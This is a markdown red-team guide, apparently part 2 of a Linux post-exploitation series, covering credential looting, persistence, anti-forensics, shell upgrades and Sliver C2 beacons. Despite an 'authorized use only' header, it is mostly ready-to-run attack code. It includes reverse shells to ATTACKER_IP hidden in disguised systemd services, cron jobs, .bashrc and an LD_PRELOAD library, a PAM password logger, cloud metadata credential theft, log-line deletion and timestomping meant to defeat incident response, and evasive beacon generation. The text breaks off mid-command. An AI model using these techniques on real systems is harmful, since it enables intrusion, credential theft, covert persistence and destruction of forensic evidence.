1.1c Linux Deep Dive P2
1.1c Linux Deep Dive — Part 2: Looting, Persistence, Cleanup & C2
BLUF: Part 2 covers post-exploitation. Covers post-exploitation looting (credentials, keys, cloud metadata), persistence mechanisms (SSH, systemd, cron, PAM, LD_PRELOAD), cleanup/anti-forensics, shell upgrades, and Sliver C2 deployment. [Parts 1a & 1b](1.1a Linux Deep Dive P1.md) covers OPSEC baseline and privilege escalation.
[Parts 1a & 1b](1.1a Linux Deep Dive P1.md): Sections 1–2 · This file: Sections 3–8
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
Section 3 — Finding Valuable Data: Post-Exploitation Looting
Root is the means, not the end. The objective is intelligence: credentials, keys, secrets, and pivot paths.
3.1 — Credentials in Config Files
# The most common wins -- search for known credential patterns
grep -rEl "(password|passwd|secret|token|api_key|apikey|auth)" \
/var/www /opt /home /srv /etc/app* /etc/nginx /etc/apache2 2>/dev/null | \
grep -vE "\.pyc$|/proc/|binary" | head -20
# Specific high-value files
find / -name ".env" -o -name "*.env" 2>/dev/null | xargs grep -li "pass\|secret\|token" 2>/dev/null
find / -name "wp-config.php" 2>/dev/null # WordPress DB creds
find / -name "database.yml" 2>/dev/null # Rails DB creds
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET_KEY" 2>/dev/null # Django
find / -name "application.properties" -o -name "application.yml" 2>/dev/null | \
xargs grep -li "password\|secret" 2>/dev/null # Spring Boot
# Check common credential locations
cat /etc/mysql/my.cnf 2>/dev/null # MySQL root password
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null # PostgreSQL auth
cat /root/.my.cnf 2>/dev/null # MySQL client creds
find /var/www -name "*.conf" -o -name "*.ini" 2>/dev/null | \
xargs grep -li "db_pass\|database_password\|DB_PASS" 2>/dev/null
# SSH keys -- private keys are the most valuable single artifact
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null | \
grep -v "\.pub$" | while read f; do
echo "=== $f ==="; head -1 "$f"; echo
done
# Known_hosts -- maps to pivot targets (even if no key, hostname list is valuable)
find / -name "known_hosts" 2>/dev/null | xargs cat 2>/dev/null | \
grep -v "^#" | awk '{print $1}' | sort -u
3.2 — Shell History & Log Artifacts
# All history files -- operators paste passwords here constantly
find / -name ".*_history" -o -name ".bash_history" -o -name ".zsh_history" \
-o -name ".python_history" -o -name ".mysql_history" -o -name ".psql_history" \
2>/dev/null | xargs cat 2>/dev/null
# Look for passwords pasted directly into command lines
find / -name ".*history" 2>/dev/null | xargs grep -iE "(pass|token|secret|key|auth|curl|wget)" 2>/dev/null | head -30
# Logs sometimes contain credentials in error messages or debug output
grep -rEi "password|passwd|secret|token" /var/log/ 2>/dev/null | grep -v "Binary\|\.gz:" | head -20
# auth.log can expose sudo passwords in malformed commands
grep "sudo" /var/log/auth.log 2>/dev/null | tail -30
3.3 — In-Memory Credentials (/proc)
This is often overlooked. Running processes can have credentials in their environment, command line, or memory maps.
# Environment variables of ALL running processes (requires root for other users' procs)
# Look for API keys, tokens, passwords passed via env vars
strings /proc/*/environ 2>/dev/null | grep -iE "pass|key|token|secret|api|aws|azure|gcp" | sort -u
# Command line arguments of all processes -- passwords sometimes passed as CLI args
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | tr '\n' '\n' | \
grep -iE "pass|secret|token|key|--password" | head -20
# Target specific high-value processes
# Find processes by name first
ps aux | grep -iE "mysql|postgres|redis|mongodb|elastic|vault|consul"
# Then examine that specific PID
PID=$(pgrep -f mysqld | head -1)
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | grep -iE "pass|key|user|host"
# Memory maps -- can find strings in loaded shared libs and heap
# WARNING: reading /proc/PID/mem is extremely noisy and may crash processes
# Safer: just read /proc/PID/maps for mapped file paths (config paths etc.)
cat /proc/$PID/maps | grep -v "\.so\|vvar\|vdso\|\[" | awk '{print $6}' | sort -u
3.4 — /etc/shadow — Offline Crack
# Dump shadow (requires root)
cat /etc/shadow
# Combine with passwd for unshadow (needed for john)
unshadow /etc/passwd /etc/shadow > /tmp/combined.txt
# Transfer to attacker machine, then crack offline:
# hashcat -- SHA-512 ($6$) is most common on modern Linux
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# john fallback
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Identify hash type from shadow entry:
# $1$ = MD5 hashcat -m 500
# $2y$ = bcrypt hashcat -m 3200 (very slow)
# $5$ = SHA-256 hashcat -m 7400
# $6$ = SHA-512 hashcat -m 1800 (most common)
# $y$ = yescrypt hashcat -m 15900 (modern Ubuntu)
3.5 — Swap File / Memory Dump
# Check if swap is in use
swapon --show
cat /proc/swaps
free -h
# Swap is physical memory dumped to disk -- may contain cleartext creds, session tokens
# swap_digger: https://github.com/sevagas/swap_digger
sudo ./swap_digger.sh -s /dev/sda5 # replace with your swap partition
# Manual approach -- grep swap for interesting strings (slow but no extra tools)
strings /dev/sda5 2>/dev/null | grep -iE "pass|token|secret|Bearer|Authorization" | head -20
# OR with swap file (not partition):
strings /swapfile 2>/dev/null | grep -iE "pass|token|secret" | head -20
# Hibernate image -- if system has hibernated, /dev/disk/by-label/... or /hibernate
ls -la /boot/ | grep -i hibern
file /swapfile 2>/dev/null
3.6 — Cloud Instance Metadata (IMDS)
If you're on a cloud instance, the IMDS endpoint is unauthenticated by default (unless IMDSv2 is enforced) and yields IAM credentials, user-data scripts, and instance identity.
# AWS IMDSv1 (no token required -- check if this works first)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the role name, then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# Returns: AccessKeyId, SecretAccessKey, Token -- use immediately for AWS API calls
# AWS IMDSv2 (requires token -- but still automatic from the instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# User-data -- admins put secrets, bootstrap scripts, and passwords here constantly
curl -s http://169.254.169.254/latest/user-data # AWS
# Look for: passwords, API keys, S3 bucket names, internal hostnames
# GCP metadata
curl -s "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Azure IMDS
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata:true"
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata:true"
OPSEC: IMDS calls are HTTP requests that don't touch disk and generate no filesystem audit events. However, cloud providers log IAM credential usage — AWS CloudTrail will record every API call made with credentials from IMDS. Use the credentials for targeted actions only and be aware of the trail they leave.
Section 4 — Persistence: Stealthy & Resilient
Persistence should survive: reboots, password changes, deleted user accounts, and basic IR sweeps. Each mechanism below rates its detectability.
4.1 — SSH Authorized Keys
Detectability: Low (unless IR specifically checks ~/.ssh/)
# Ensure .ssh dir exists with correct permissions
mkdir -p ~/.ssh
chmod 700 ~/.ssh
# Add your public key (generate with: ssh-keygen -t ed25519 on attacker)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= user@host" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# OPSEC: disguise the key comment (last field) to match existing keys
# Check what format existing keys use:
cat ~/.ssh/authorized_keys
# Match the comment format: user@hostname, or an email, or no comment at all
# Add to root's authorized_keys (after gaining root)
echo "ssh-ed25519 AAAA...YOUR_PUBKEY...= " >> /root/.ssh/authorized_keys
# Blank comment -- harder to notice against legitimate keys
# Timestomp to match other keys in the directory
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys
4.2 — Systemd Service (Disguised)
Detectability: Medium (IR teams enumerate services, but disguised names pass casual review)
# Choose a name that blends in -- mimic real systemd service names
# Bad: backdoor.service, shell.service
# Good: systemd-network-helper.service, dbus-logind-monitor.service, udev-settle-extra.service
cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Daemon
After=network.target
Documentation=man:systemd-network(8)
[Service]
Type=forking
User=root
ExecStart=/usr/lib/systemd/systemd-network-helper
Restart=on-failure
RestartSec=30
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
# Create the "binary" it calls -- a script disguised as a system binary
cat > /usr/lib/systemd/systemd-network-helper << 'EOF'
#!/bin/bash
# Fork to background immediately (Type=forking)
setsid bash -c 'while true; do bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done' &
disown
EOF
chmod +x /usr/lib/systemd/systemd-network-helper
# Enable and start
systemctl daemon-reload
systemctl enable systemd-network-helper.service
systemctl start systemd-network-helper.service
# Verify it's masked from casual inspection
systemctl status systemd-network-helper.service # should show active/running
# Timestomp the service file to match other systemd files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/systemd-network-helper.service
OPSEC: Set
StandardOutput=nullandStandardError=nullto prevent log output from landing in journald. UseRestartSec=30with a sleep loop inside the script so that even if the beacon is killed, it reconnects without immediately alerting on rapid restarts. Never useRestart=alwayswith a 0-second delay — that generates a flood of restart events in the journal.
4.3 — Cron Persistence
Detectability: Low-Medium (cron is checked in IR, but infrequent jobs are often missed)
# System-wide cron (requires root) -- runs as root
# Low frequency = less noise, survives longer
echo '47 3 * * 1 root /usr/lib/sysstat/.helper' >> /etc/cron.d/sysstat-helper
# Runs every Monday at 03:47 -- unlikely to trigger pattern matching on hourly/daily
# Create the payload
cat > /usr/lib/sysstat/.helper << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /usr/lib/sysstat/.helper
# User crontab persistence (survives without root)
(crontab -l 2>/dev/null; echo "17 2 * * 3 /home/$(whoami)/.local/share/.sync") | crontab -
# Create hidden payload
mkdir -p ~/.local/share/
cat > ~/.local/share/.sync << 'EOF'
#!/bin/bash
exec > /dev/null 2>&1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x ~/.local/share/.sync
# Timestomp cron files
touch -r /etc/cron.d/anacron /etc/cron.d/sysstat-helper
4.4 — .bashrc / .profile Conditional Backdoor
Detectability: Low (commonly checked, but conditional execution avoids repeated beaconing)
# Only beacon if callback host isn't already established -- avoids obvious repeated connections
# Append to .bashrc (runs on interactive shell open) or .profile (runs on login)
cat >> ~/.bashrc << 'EOF'
# system check
_svc_check() {
pgrep -f "UNIQUE_MARKER" > /dev/null 2>&1 || \
(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &) > /dev/null 2>&1
}
_svc_check
EOF
# OPSEC improvements:
# 1. Use a unique marker in the process name so the pgrep check works correctly
# 2. Redirect all output to /dev/null
# 3. The function name and variable look like a legitimate sysadmin check
# 4. Only fires if the beacon process isn't already running
# For root: target /etc/profile (runs for ALL users on login) or /etc/bash.bashrc
# Be selective -- modifying /etc/profile leaves a trace for every login
echo "_svc_check() { ... }" >> /etc/bash.bashrc
4.5 — PAM Backdoor (accepts any password for a user)
Detectability: Medium-High (PAM module changes are checked during IR, but often missed)
# Add pam_permit.so to PAM stack for SSH -- allows login with ANY password
# Backup first
cp /etc/pam.d/sshd /etc/pam.d/sshd.orig
# Add to the TOP of the auth section -- before existing auth rules
sed -i '1s/^/auth sufficient pam_permit.so\n/' /etc/pam.d/sshd
# Now SSH login with any password works for any account
# This is extremely powerful but also very detectable if PAM configs are audited
# More surgical: add backdoor only for a specific account
# Or: use pam_exec.so to run a script on auth (can log credentials of other users)
echo "auth optional pam_exec.so /tmp/.auth_hook" >> /etc/pam.d/sshd
cat > /tmp/.auth_hook << 'EOF'
#!/bin/bash
echo "$(date) USER=$PAM_USER PASS=$PAM_AUTHTOK" >> /tmp/.auth_log
EOF
chmod +x /tmp/.auth_hook
# This captures every SSH password attempt -- not a persistence mechanism but credential logger
OPSEC: PAM backdoors are one of the first things a hardened incident response team checks. Prefer SSH key persistence over PAM. If you use PAM, revert it after gaining your persistence via another method.
4.6 — LD_PRELOAD Persistence via /etc/ld.so.preload
Detectability: Low (rarely checked unless IR is hunting for LD_PRELOAD specifically)
# Create a malicious shared library that execs a beacon when any dynamically linked binary runs
cat > /tmp/preload.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init() {
// Only fire once -- avoid loops when our payload itself is a dynamic binary
if (getenv("_PRELOAD_DONE")) return;
putenv("_PRELOAD_DONE=1");
// Don't fire as root -- avoids noise, only fires for user-level processes
if (getuid() == 0) return;
// Check if beacon is running
if (system("pgrep -f UNIQUE_BEACON_MARKER > /dev/null 2>&1") != 0) {
system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &");
}
}
EOF
gcc -fPIC -shared -o /usr/local/lib/libsec.so /tmp/preload.c -ldl
rm /tmp/preload.c
# Register it globally
echo "/usr/local/lib/libsec.so" >> /etc/ld.so.preload
# Verify (will trigger on this command)
ls / # any dynamic binary will trigger the constructor
# Timestomp
touch -r /etc/ld.so.conf /etc/ld.so.preload
OPSEC: Every dynamically linked binary that runs will load your library — this includes legitimate system tools like
ls,ps,cat. This can cause visible slowdowns and trigger EDR detection based on unusual library loads. Use it sparingly and test in a lab first.
Section 5 — Cleanup & Anti-Forensics
Assume IR will run. Your goal is to raise their time-cost, not achieve perfect forensic invisibility. Perfect is the enemy of good enough.
5.1 — History Wipe
# In-session: stop recording new commands (already done in Section 1, but confirm)
unset HISTFILE
export HISTFILE=/dev/null
export HISTSIZE=0
set +o history
history -c # clear in-memory history list (RAM only -- does NOT touch disk)
history -w # flush the now-empty in-memory list to HISTFILE (/dev/null)
# Result: ~/.bash_history on disk is untouched; this session writes nothing new
# --- If the engagement scope EXPLICITLY requires wiping disk history ---
# (only do this if authorized; file wipes are detectable by forensics)
# Overwrite specific file (cat /dev/null is safer than rm -- rm leaves inode gap)
# cat /dev/null > ~/.bash_history
# If a system profile forces HISTFILE back to ~/.bash_history, redirect it:
# ln -sf /dev/null ~/.bash_history # symlink to /dev/null; leaves detectable symlink
# If you must wipe all shell histories across interpreters:
# for f in ~/.bash_history ~/.zsh_history ~/.fish_history ~/.python_history \
# ~/.mysql_history ~/.psql_history ~/.irb_history; do
# [ -f "$f" ] && cat /dev/null > "$f"
# done
5.2 — Log Line Removal
Removing specific log lines is more surgical than clearing entire log files (which is immediately obvious).
# Remove your IP from auth.log
YOUR_IP="10.10.10.5"
sed -i "/$YOUR_IP/d" /var/log/auth.log
sed -i "/$YOUR_IP/d" /var/log/secure 2>/dev/null
# Remove specific username from logs
sed -i "/youruser/d" /var/log/auth.log
# Remove last N lines from auth.log (covers recent activity window)
# Get line count first, then keep everything before your activity
tail -n +$(( $(wc -l < /var/log/auth.log) - 20 )) /var/log/auth.log # view last 20
# Remove last 20 lines:
head -n -20 /var/log/auth.log > /tmp/auth_clean && mv /tmp/auth_clean /var/log/auth.log
# wtmp / btmp / lastlog -- binary format, not directly editable with sed
# utmpdump is the safe tool:
utmpdump /var/log/wtmp | grep -v "$YOUR_IP" | utmpdump -r > /tmp/wtmp_clean
mv /tmp/wtmp_clean /var/log/wtmp
# Clear btmp (failed login attempts -- don't leave evidence you brute-forced)
cat /dev/null > /var/log/btmp
# Systemd journal -- you can't easily edit individual journal entries
# If you need to clear it: (very noisy -- only do this if IR hasn't arrived yet)
journalctl --vacuum-time=1d 2>/dev/null # keep only last 1 day
# Or wipe: rm -f /var/log/journal/*/*.journal (requires root, highly detectable)
5.3 — Timestomping (Match Modified Files to Originals)
Any file you touch gets an updated mtime/atime. If IR runs find / -newer /etc/passwd -mmin -60, your modifications light up. Timestomp them.
Pre-Stomp: Read the Timestamps Before You Touch Anything
# ls -lisa -- long listing with inode number and block count
# i = inode, l = long format, s = block size, a = show hidden files
ls -lisa /etc/cron.d/
# Output: inode blocks perms links owner group size mtime name
# 131074 8 -rw-r--r-- 1 root root 191 Jan 15 14:30 anacron
# ls -lisu -- same but sorted by file size (largest first)
# Useful for spotting anomalous large files in a directory
ls -lisu /etc/cron.d/
ls -lisu /etc/systemd/system/
ls -lisu ~/.ssh/
# Read the exact timestamp of the reference file BEFORE you modify anything
stat /etc/cron.d/anacron
# Access: 2023-01-15 14:30:00.000000000 +0000 <-- atime
# Modify: 2023-01-15 14:30:00.000000000 +0000 <-- mtime
# Change: 2023-01-15 14:30:00.000000000 +0000 <-- ctime (you can't fake this)
# Note the timestamps -- you'll set these on your file after modification
Timestomp: Set Timestamps After Modification
# Match mtime + atime from a reference file (simplest approach)
touch -r /etc/cron.d/anacron /etc/cron.d/your_persistence_file
# Match the SSH authorized_keys modification to the known_hosts file
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys
# For systemd service files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/your_service.service
touch -r /usr/lib/systemd/systemd-networkd /usr/lib/systemd/systemd-network-helper
Surgical Control: Set atime and mtime Independently
# touch -a -> set ONLY the access time (atime)
# touch -m -> set ONLY the modification time (mtime)
# touch -t -> specify exact timestamp: [[CC]YY]MMDDhhmm[.ss]
# Set ONLY atime to a specific time (leaves mtime untouched)
touch -a -t 202301151430.00 /etc/cron.d/your_file
# ^^^^^^^^^^^^^ = 2023-01-15 14:30:00
# Set ONLY mtime to a specific time (leaves atime untouched)
touch -m -t 202301151430.00 /etc/cron.d/your_file
# Set both to the same specific time
touch -t 202301151430.00 /etc/cron.d/your_file
# Timestamp format breakdown:
# touch -a -t YYYYMMDDHHMI.SS filename
# 2023 = year
# 01 = month (January)
# 15 = day
# 14 = hour (24h)
# 30 = minute
# .00 = seconds (optional)
# Real-world example: your modified file should look like it was last touched
# on Jan 15, 2023 at 14:30 UTC -- same as the reference file (anacron)
touch -a -t 202301151430.00 /etc/cron.d/sysstat-helper # set atime
touch -m -t 202301151430.00 /etc/cron.d/sysstat-helper # set mtime
Verify the Stomp Worked
# Compare your file against the reference
stat /etc/cron.d/anacron
stat /etc/cron.d/your_file
# Access and Modify times should match
# ls -lisa confirms the displayed mtime in the listing matches
ls -lisa /etc/cron.d/
# Both files should show the same date/time column
# IR check simulation -- your file should NOT appear here
find /etc/cron.d/ -newer /etc/cron.d/anacron
# Empty output = timestomp successful for mtime
OPSEC notes:
ctime(inode change time) cannot be faked withtouch— it always updates on any metadata change. Advanced forensics (debugfs,sleuthkit) will catch ctime anomalies even when mtime/atime match.-rcopies both mtime and atime at once — use when you want both to match a reference.-a -tlets you set atime to a different value than mtime — useful when the reference file has different access vs modify times.- On
noatimemounted filesystems, atime is not tracked — one less thing to worry about. Check withmount | grep noatime.
5.4 — Tool Cleanup
# Remove all tools you dropped -- work backwards from your workspace
rm -f /dev/shm/.cache/pspy64
rm -f /dev/shm/.cache/linpeas.sh
rm -f /dev/shm/.cache/exploit
rm -rf /dev/shm/.cache/
# Secure delete if shred is available (overwrites before deleting)
shred -u /dev/shm/sensitive_file
# Remove compiled files
rm -f /tmp/evil.so /tmp/evil.c /tmp/preload.c
# Check for any temp files you created
find /tmp /dev/shm /var/tmp -newer /etc/passwd -mmin -480 2>/dev/null | grep -v "^/proc"
5.5 — What IR Teams Look For — Know Their Checklist
| IR Action | What They Check | Your Counter |
|---|---|---|
last / lastlog |
Login records from wtmp/lastlog | Wipe with utmpdump, cat /dev/null > /var/log/lastlog |
find / -newer /etc/passwd |
Recently modified files | Timestomp all modified files |
systemctl list-units |
Unexpected services | Disguise service names, match descriptions |
crontab -l + /etc/cron* |
Cron jobs | Use infrequent schedules, hide in sysstat dirs |
cat ~/.bash_history |
Shell history | Wipe on entry AND exit |
cat /etc/pam.d/* |
PAM configuration changes | Revert PAM changes when possible |
cat /etc/ld.so.preload |
LD_PRELOAD persistence | Timestomp, or use only as a last resort |
ls -la ~/.ssh/ |
Authorized keys | Match timestamps to existing keys |
ps auxf |
Running processes | Use process name masquerading |
ss -tunap |
Network connections | Use short-lived beacons, not persistent shells |
strings /proc/*/environ |
In-memory credentials | N/A — this is you doing it to them |
auditctl -l + audit.log |
Audit trail | Can't erase audit.log without root; avoid audited syscalls |
md5sum / sha256sum on system files |
File integrity (AIDE/Tripwire) | You can't beat AIDE if it ran before you landed — focus on persistence in non-monitored paths |
Section 6 — Shell Upgrade: nc -> Full TTY
A raw netcat shell has no TTY. No tab completion, no Ctrl-C (it kills the shell), no vim, no su. Fix this before you do anything else.
Why it matters: Without a TTY you can't run sudo, su, passwd, or interactive editors. Ctrl-C sends SIGINT to your local nc, killing the entire session. Tab completion and history don't work. You're flying blind.
6.1 — Python PTY (Most Common, Fastest)
Run on the victim side inside your nc shell:
# Step 1 (victim): Spawn a PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Fallback if python3 not found:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or: script
/usr/bin/script -qc /bin/bash /dev/null
This gives you a functional terminal with su and sudo support, but Ctrl-C still kills the shell. For full control, proceed to the stty upgrade.
6.2 — Full TTY via stty (The Proper Fix)
After running the Python PTY above:
# Step 2 (victim): spawn PTY first (if not done already)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 3 (victim -> attacker): background the shell -- press Ctrl-Z
# You're now back on your attacker terminal
# Step 4 (attacker): put your terminal in raw mode and pass it to the fg'd shell
stty raw -echo; fg
# The 'fg' brings the nc shell back to foreground
# Your terminal may look blank -- that's normal, type the next commands blindly
# Step 5 (victim): re-initialize the terminal inside the shell
reset
export TERM=xterm-256color
export SHELL=/bin/bash
# Step 6: Match the terminal size to your actual window
# On YOUR attacker terminal (new tab/pane): stty size -> returns ROWS COLS
# e.g.: 48 220
stty rows 48 columns 220
Result: Full interactive TTY. Ctrl-C works. Tab completion works. vim/nano work. Arrow keys work. History works.
OPSEC:
stty raw -echochanges your attacker terminal state — if you lose the connection at this point, your terminal will be stuck in raw mode. Fix it by typingresetblindly or opening a new terminal tab.
6.3 — socat (Best Option if Available)
If socat is installed on the target, this gives you a full TTY from the start — no stty dance needed.
# Attacker listener (run this FIRST):
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim (run in your existing dumb shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
Full TTY with job control, signals, and history immediately. No extra steps.
6.4 — rlwrap (Attacker-Side, No Victim Changes Needed)
Gives you readline history and basic completion on the attacker side without touching the victim:
# Install: apt install rlwrap
# Use in place of nc:
rlwrap nc -nlvp 4444
Not a real TTY, but command history (up arrow) and basic line editing work. Good for quick dumb shells before you can upgrade properly.
6.5 — Shell Upgrade Quick Reference
| Situation | Command (Victim Side) | Result |
|---|---|---|
| Python3 available | python3 -c 'import pty; pty.spawn("/bin/bash")' |
Basic TTY (su/sudo work) |
| Python2 only | python -c 'import pty; pty.spawn("/bin/bash")' |
Basic TTY |
| No Python | /usr/bin/script -qc /bin/bash /dev/null |
Basic TTY |
| Perl available | perl -e 'exec "/bin/bash";' |
Basic shell (no TTY) |
| socat available | See 6.3 above | Full TTY immediately |
| After basic PTY | stty dance (6.2 above) | Full TTY via nc |
| Attacker side | rlwrap nc -nlvp PORT |
Readline history only |
Section 7 — C2 Frameworks: Why nc Is a Liability
nc shells are for initial access and quick tests. For any real engagement — pivoting, persistence, multi-host, or long-haul ops — you need a proper C2.
Why nc Breaks on Real Engagements
| Problem | nc Shell | C2 Framework |
|---|---|---|
| Session drops (network blip) | Dead — reconnect manually | Automatic reconnect |
| Multiple targets | One terminal per shell, chaos | Centralized operator console |
| Pivoting / port forwards | Manual SSH chains | Built-in SOCKS, tunnels |
| Payload evasion | None — bash spawns are trivially detected | Custom protocols, encrypted comms, sleep/jitter |
| Evidence in logs | Every bash -i shows in auth.log, ps | Configurable process masquerade, encrypted traffic |
| Kill date / time limits | None | Built-in scheduling, datetime limits |
| Team operations | Not possible | Multi-operator with task queuing |
C2 Framework Comparison
| Framework | Language | Best For | Linux Support | Key Stealth Feature |
|---|---|---|---|---|
| Sliver | Go | General red team, cloud/Linux focus | [Y] Excellent | mTLS, garble obfuscation, beacon scheduling |
| Havoc | C/C++ | Windows-heavy engagements | [Y] Good | Demon agent, malleable comms |
| Covenant | .NET | Windows AD operations | [~] Limited | HTTP listener profiles |
| Merlin | Go | Low-footprint Linux ops | [Y] Good | HTTP/2, DNS C2, small agent |
| Mythic | Python backend | Custom agents, modular | [Y] Good | Pluggable agent/profile system |
For Linux-focused ops: Sliver is the recommendation. Go binaries compile to a single static ELF, no dependencies. Built-in mTLS + HTTPS. Active development. Operator-grade sleep/jitter and time-restriction controls.
Section 8 — Sliver C2: Stealthy Linux Payloads
Sliver is the operator's choice for Linux C2. This section covers installation, stealthy payload generation, business-hours beaconing, and in-memory delivery. All commands are from the Sliver server console unless noted.
8.1 — Installation (Attacker/C2 Server)
# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
| grep "browser_download_url.*linux" \
| grep -v arm \
| cut -d '"' -f 4 \
| wget -qi -
# Rename and make executable
chmod +x sliver-server_linux && mv sliver-server_linux /usr/local/bin/sliver-server
chmod +x sliver-client_linux && mv sliver-client_linux /usr/local/bin/sliver
# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make # requires Go 1.20+, gcc, mingw-w64
# Output: sliver-server, sliver-client in ./
# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start
8.2 — Beacon vs Session: Which to Use
| Beacon | Session | |
|---|---|---|
| Connection | Periodic check-ins (sleep-based) | Persistent, always-on |
| Stealth | [Y] High — looks like periodic web traffic | [~] Low — persistent connection is anomalous |
| Interactivity | Commands queued, executed on next check-in | Immediate response |
| When to use | Default for all ops — stealth first | Interactive phases (priv-esc, lateral move) |
| Converting | interactive command promotes beacon -> session |
N/A |
Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.
8.3 — Stealthy Beacon Generation: All the Flags
# Full stealthy Linux beacon -- run inside the Sliver console
generate beacon \
--mtls YOUR_C2_IP:8888 \ # mTLS -- encrypted, mutual auth, ~looks like HTTPS
--os linux \ # target OS
--arch amd64 \ # or arm64 for cloud/IoT/Raspberry Pi
--format elf \ # elf=binary, shared=.so, shellcode=raw bytes
--name "systemd-helper" \ # label in Sliver console (not process name on target)
--evasion \ # anti-analysis: anti-debug, stack canaries
--skip-symbols \ # strip Go symbol table -- blocks debugger+reverser
--seconds 3600 \ # sleep 3600s (1hr) between check-ins
--jitter 600 \ # add random 0-600s on top of sleep (not a %)
--reconnect 60 \ # retry delay if C2 unreachable
--limit-datetime "2025-12-31T23:59:59Z" \ # KILL DATE -- RFC3339 UTC, implant exits after this
--limit-hostname webserver01 \ # only run if hostname matches exactly
--limit-username ubuntu \ # only run if username matches
--limit-fileexists /etc/ssh/sshd_config \ # only run if this file exists (confirms target)
--save /tmp/beacon.elf
# Verify the generated implant
implants # list all generated implants with config summary
Flag breakdown:
| Flag | Format / Value | What it does |
|---|---|---|
--evasion |
boolean | Anti-debug, anti-analysis, stack canaries compiled in |
--skip-symbols |
boolean | Strips Go symbol table (-ldflags "-s -w") -> harder to reverse |
--seconds / --minutes / --hours / --days |
int | Sleep interval components (combined) |
--jitter N |
int (seconds) | Max random addition to sleep — flat 0 to N seconds, NOT a percentage |
--reconnect N |
int (seconds) | Retry delay if C2 unreachable |
--limit-datetime |
RFC3339 string | Kill date — implant exits after this UTC timestamp; use for op time-boxing |
--limit-hostname |
string | Exact hostname match check at startup |
--limit-username |
string | Exact username match check at startup |
--limit-fileexists |
path | File existence check — confirms you're on the right target |
--format |
elf / shared / shellcode |
ELF=binary, shared=.so (harder to detect), shellcode=raw |
--name |
string | Console label only — does NOT change process name on target |
Important:
--limit-datetimeis a kill date (expiry), not a schedule. It takes RFC3339 format:"2025-12-31T23:59:59Z"(UTC) or"2025-12-31T18:59:59-05:00"(EST). The implant will refuse to run and exit cleanly after this time. This is for op time-boxing, not for time-of-day activation. For scheduled activation, use the cron wrapper approach (Section 8.5).
8.4 — Scheduled Beacon at 0800 EST (Business Hours)
Key fact: Sliver's --limit-datetime is a kill date (RFC3339 expiry), not a cron schedule. It tells the implant "stop running after this time." It does not restrict to specific hours of the day.
For time-of-day control, use the cron wrapper approach (Section 8.5). Here, --limit-datetime is used for op time-boxing — ensuring the implant self-destructs at end of engagement.
# Correct --limit-datetime syntax: RFC3339 format, UTC recommended
# Format: YYYY-MM-DDTHH:MM:SSZ (UTC)
# or YYYY-MM-DDTHH:MM:SS-05:00 (EST offset)
# Example: beacon active until end of engagement (Dec 31)
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \ # kill date in UTC
